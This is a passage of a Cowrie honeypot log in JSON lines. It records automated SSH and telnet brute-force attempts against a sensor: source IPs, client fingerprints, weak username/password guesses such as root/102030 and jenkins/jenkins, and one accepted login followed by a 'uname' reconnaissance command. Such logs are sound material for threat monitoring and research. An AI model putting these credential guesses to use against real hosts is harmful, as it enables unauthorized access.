dsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:15.829187Z","src_ip":"45.156.87.204","session":"b3d48bc15a4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:16.078232Z","src_ip":"45.156.87.204","session":"b3d48bc15a4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:17.308783Z","src_ip":"45.156.87.204","session":"b3d48bc15a4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56346,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dea34b50dee","protocol":"ssh","message":"New connection: 45.156.87.204:56346 (159.203.135.109:22) [session: 6dea34b50dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:19.194297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:19.199192Z","src_ip":"45.156.87.204","session":"6dea34b50dee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:19.371587Z","src_ip":"45.156.87.204","session":"6dea34b50dee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:19.908938Z","src_ip":"45.156.87.204","session":"6dea34b50dee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34810,"dst_ip":"10.17.0.5","dst_port":23,"session":"685d3c3d2966","protocol":"telnet","message":"New connection: 152.42.224.71:34810 (10.17.0.5:23) [session: 685d3c3d2966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:20.327797Z"}
{"eventid":"cowrie.session.closed","duration":6.74690318107605,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:20.641660Z","src_ip":"152.42.224.71","session":"162a96afcc6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:20.992909Z","src_ip":"45.156.87.204","session":"6dea34b50dee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60256,"dst_ip":"159.203.135.109","dst_port":22,"session":"402648e23223","protocol":"ssh","message":"New connection: 45.156.87.204:60256 (159.203.135.109:22) [session: 402648e23223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:23.064482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:23.070215Z","src_ip":"45.156.87.204","session":"402648e23223","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:23.154326Z","src_ip":"45.156.87.204","session":"402648e23223","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:23.404904Z","src_ip":"45.156.87.204","session":"402648e23223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.42002534866333,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:24.020859Z","src_ip":"152.42.224.71","session":"580ffee1313a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:24.491852Z","src_ip":"45.156.87.204","session":"402648e23223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60286,"dst_ip":"159.203.135.109","dst_port":22,"session":"62dbb99e3c03","protocol":"ssh","message":"New connection: 45.156.87.204:60286 (159.203.135.109:22) [session: 62dbb99e3c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:26.586915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:26.592242Z","src_ip":"45.156.87.204","session":"62dbb99e3c03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:26.678656Z","src_ip":"45.156.87.204","session":"62dbb99e3c03","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:26.927055Z","src_ip":"45.156.87.204","session":"62dbb99e3c03","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:27.282631Z","src_ip":"45.156.87.204","session":"62dbb99e3c03","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:27.287879Z","src_ip":"45.156.87.204","session":"62dbb99e3c03","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:27.496475Z","src_ip":"45.156.87.204","session":"62dbb99e3c03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:27.502180Z","src_ip":"45.156.87.204","session":"62dbb99e3c03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":50072,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2ede03c883b","protocol":"ssh","message":"New connection: 170.106.151.211:50072 (159.203.135.109:22) [session: c2ede03c883b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:28.210673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:28.215798Z","src_ip":"170.106.151.211","session":"c2ede03c883b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:28.284498Z","src_ip":"170.106.151.211","session":"c2ede03c883b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tt","password":"123456","message":"login attempt [tt/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:28.597246Z","src_ip":"170.106.151.211","session":"c2ede03c883b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":45796,"dst_ip":"159.203.135.109","dst_port":22,"session":"66fcd5a6453b","protocol":"ssh","message":"New connection: 45.183.70.66:45796 (159.203.135.109:22) [session: 66fcd5a6453b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:29.093520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:29.097873Z","src_ip":"45.183.70.66","session":"66fcd5a6453b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:29.214363Z","src_ip":"45.183.70.66","session":"66fcd5a6453b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:29.667434Z","src_ip":"170.106.151.211","session":"c2ede03c883b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"st","password":"st","message":"login attempt [st/st] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:29.711870Z","src_ip":"45.183.70.66","session":"66fcd5a6453b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60308,"dst_ip":"159.203.135.109","dst_port":22,"session":"34dd023bc523","protocol":"ssh","message":"New connection: 45.156.87.204:60308 (159.203.135.109:22) [session: 34dd023bc523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:30.553727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:30.558938Z","src_ip":"45.156.87.204","session":"34dd023bc523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:30.643486Z","src_ip":"45.156.87.204","session":"34dd023bc523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:30.831400Z","src_ip":"45.183.70.66","session":"66fcd5a6453b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:30.891650Z","src_ip":"45.156.87.204","session":"34dd023bc523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:31.977203Z","src_ip":"45.156.87.204","session":"34dd023bc523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55718,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5ae4bae2c7a","protocol":"ssh","message":"New connection: 45.156.87.204:55718 (159.203.135.109:22) [session: f5ae4bae2c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:34.154381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:34.182362Z","src_ip":"45.156.87.204","session":"f5ae4bae2c7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:34.266610Z","src_ip":"45.156.87.204","session":"f5ae4bae2c7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:34.520621Z","src_ip":"45.156.87.204","session":"f5ae4bae2c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:35.605856Z","src_ip":"45.156.87.204","session":"f5ae4bae2c7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55734,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6d331fe29aa","protocol":"ssh","message":"New connection: 45.156.87.204:55734 (159.203.135.109:22) [session: d6d331fe29aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:37.933962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:37:37.939247Z","src_ip":"45.156.87.204","session":"d6d331fe29aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v0